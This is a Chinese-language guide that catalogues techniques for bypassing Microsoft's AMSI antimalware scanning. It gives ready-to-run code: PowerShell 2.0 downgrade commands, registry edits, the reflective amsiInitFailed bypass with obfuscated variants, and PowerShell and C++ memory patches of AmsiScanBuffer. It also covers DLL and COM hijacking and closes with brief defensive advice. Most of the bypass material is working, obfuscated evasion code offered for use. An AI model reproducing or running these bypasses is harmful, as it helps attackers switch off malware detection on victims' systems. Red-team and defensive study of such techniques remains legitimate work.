amsi绕过总结
字数 1620 2025-08-29 08:32:09

AMSI绕过技术全面指南

1. AMSI基础概念

1.1 什么是AMSI

AMSI (Antimalware Scan Interface)是微软开发的反恶意软件扫描接口标准,主要特性包括:

  • 通用接口标准,允许应用程序与服务与机器上的反恶意软件产品集成
  • 提供增强的恶意软件保护,特别是针对脚本和动态代码
  • 支持文件和内存/流扫描、内容源URL/IP信誉检查等技术
  • 支持会话概念,关联不同扫描请求以增强检测能力

1.2 AMSI工作原理

  • 当用户执行脚本或启动PowerShell时,AMSI.dll被动态加载到内存空间
  • 在执行前,防病毒软件使用以下API扫描缓冲区和字符串:
    • AmsiScanBuffer()
    • AmsiScanString()

1.3 AMSI集成组件

AMSI已集成到以下Windows组件中:

  1. 用户账户控制(UAC) - %windir%\System32\consent.exe
  2. PowerShell - System.Management.Automation.dll
  3. Windows脚本宿主 - wscript.exe, cscript.exe
  4. JavaScript/VBScript - %windir%\System32\jscript.dll, %windir%\System32\vbscript.dll
  5. Office VBA宏 - VBE7.dll
  6. .NET Assembly - clr.dll
  7. WMI - %windir%\System32\wbem\fastprox.dll

2. AMSI绕过技术详解

2.1 降级攻击

原理:PowerShell 2.0没有AMSI功能

实施方法

  1. 检查当前PowerShell版本:
    $PSVersionTable
    
  2. 判断能否使用PowerShell 2.0:
    • 非管理员权限:
      Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
      
    • 管理员权限:
      • Win10:
        Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
        
      • Win2016/Win2019:
        Get-WindowsFeature PowerShell-V2
        
  3. 使用PowerShell 2.0执行:
    powershell.exe -version 2
    
    或在脚本开头添加:
    #requires -version 2
    

2.2 注册表禁用AMSI

方法

Remove-Item -Path "HKLM:\Software\Microsoft\Windows Script\Settings\AmsiEnable" -Recurse

或设置注册表:

HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0

限制

  • 需要管理员权限
  • 不够隐蔽

2.3 反射式AMSI禁用

基础方法

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

绕过检测的编码方法

  1. 字符串拆分编码:

    $a="5492868772801748688168747280728187173688878280688776828"
    $b="1173680867656877679866880867644817687416876797271"
    
    $c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
    $d=[Ref].Assembly.GetType($c)
    
    $e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
    $f=$d.GetField($e,'NonPublic,Static')
    
    $f.SetValue($null,$true)
    
  2. HEX编码:

    [Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
    

2.4 内存补丁技术

API调用顺序

  1. AmsiInitialize - 初始化AMSI API
  2. AmsiOpenSession - 打开session
  3. AmsiScanBuffer - 扫描用户输入
  4. AmsiCloseSession - 关闭session
  5. AmsiUninitialize - 删除AMSI API

补丁目标

  • 修改AmsiScanBufferAmsiOpenSession函数,使其返回负数(如0x80070057)

PowerShell实现

$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program{
[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,uint flNewProtect, out uint lpfloldProtect);
public static void Bypass(){
String a ="isma";
String b ="reffuBnacSismA";
IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) +".dll");
IntPtr addr = GetProcAddress(lib, String.Join("",b.Reverse().ToArray()));
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0x57;
p[2] = 0x00;
p[3] = 0x07;
p[4] = 0x80;
p[5] = 0xc3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}}
"@
Add-Type $p
[Program]::Bypass()

C++实现

#include <Windows.h>
#include <stdio.h>

int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    
    CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
    
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    
    Sleep(500);
    
    DWORD oldProtect;
    char patch = 0xc3;
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hAmsi);
    return 0;
}

2.5 DLL劫持技术

原理

  • 利用LoadLibrary函数在没有绝对路径时优先从当前目录加载DLL的特性
  • powershell.exe同目录下放置恶意amsi.dll

要求

  • 劫持的DLL需要包含所有导出函数
  • 可以使用Aheadlib工具生成或手动实现

2.6 COM Server劫持(已失效)

原方法

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32]
@="C:\\goawayamsi.dll"

3. 其他资源

  1. 在线AMSI绕过生成平台:https://amsi.fail/
  2. 支持AMSI的杀毒软件列表:https://github.com/subat0mik/whoamsi/

4. 防御建议

  1. 禁用PowerShell 2.0
  2. 监控注册表关键项修改
  3. 检测内存补丁行为
  4. 实施DLL加载路径保护
  5. 保持系统和安全软件更新

5. 总结

AMSI绕过技术不断发展,从最初的简单方法到现在的复杂混淆和内存操作技术。防御方需要多层次防护,包括行为监控、内存保护和系统加固。红队人员应持续研究新技术,同时蓝队需要了解这些技术以构建更强大的防御体系。

AMSI绕过技术全面指南 1. AMSI基础概念 1.1 什么是AMSI AMSI (Antimalware Scan Interface)是微软开发的反恶意软件扫描接口标准,主要特性包括: 通用接口标准,允许应用程序与服务与机器上的反恶意软件产品集成 提供增强的恶意软件保护,特别是针对脚本和动态代码 支持文件和内存/流扫描、内容源URL/IP信誉检查等技术 支持会话概念,关联不同扫描请求以增强检测能力 1.2 AMSI工作原理 当用户执行脚本或启动PowerShell时,AMSI.dll被动态加载到内存空间 在执行前,防病毒软件使用以下API扫描缓冲区和字符串: AmsiScanBuffer() AmsiScanString() 1.3 AMSI集成组件 AMSI已集成到以下Windows组件中: 用户账户控制(UAC) - %windir%\System32\consent.exe PowerShell - System.Management.Automation.dll Windows脚本宿主 - wscript.exe , cscript.exe JavaScript/VBScript - %windir%\System32\jscript.dll , %windir%\System32\vbscript.dll Office VBA宏 - VBE7.dll .NET Assembly - clr.dll WMI - %windir%\System32\wbem\fastprox.dll 2. AMSI绕过技术详解 2.1 降级攻击 原理 :PowerShell 2.0没有AMSI功能 实施方法 : 检查当前PowerShell版本: 判断能否使用PowerShell 2.0: 非管理员权限: 管理员权限: Win10: Win2016/Win2019: 使用PowerShell 2.0执行: 或在脚本开头添加: 2.2 注册表禁用AMSI 方法 : 或设置注册表: 限制 : 需要管理员权限 不够隐蔽 2.3 反射式AMSI禁用 基础方法 : 绕过检测的编码方法 : 字符串拆分编码: HEX编码: 2.4 内存补丁技术 API调用顺序 : AmsiInitialize - 初始化AMSI API AmsiOpenSession - 打开session AmsiScanBuffer - 扫描用户输入 AmsiCloseSession - 关闭session AmsiUninitialize - 删除AMSI API 补丁目标 : 修改 AmsiScanBuffer 或 AmsiOpenSession 函数,使其返回负数(如 0x80070057 ) PowerShell实现 : C++实现 : 2.5 DLL劫持技术 原理 : 利用 LoadLibrary 函数在没有绝对路径时优先从当前目录加载DLL的特性 在 powershell.exe 同目录下放置恶意 amsi.dll 要求 : 劫持的DLL需要包含所有导出函数 可以使用Aheadlib工具生成或手动实现 2.6 COM Server劫持(已失效) 原方法 : 3. 其他资源 在线AMSI绕过生成平台:https://amsi.fail/ 支持AMSI的杀毒软件列表:https://github.com/subat0mik/whoamsi/ 4. 防御建议 禁用PowerShell 2.0 监控注册表关键项修改 检测内存补丁行为 实施DLL加载路径保护 保持系统和安全软件更新 5. 总结 AMSI绕过技术不断发展,从最初的简单方法到现在的复杂混淆和内存操作技术。防御方需要多层次防护,包括行为监控、内存保护和系统加固。红队人员应持续研究新技术,同时蓝队需要了解这些技术以构建更强大的防御体系。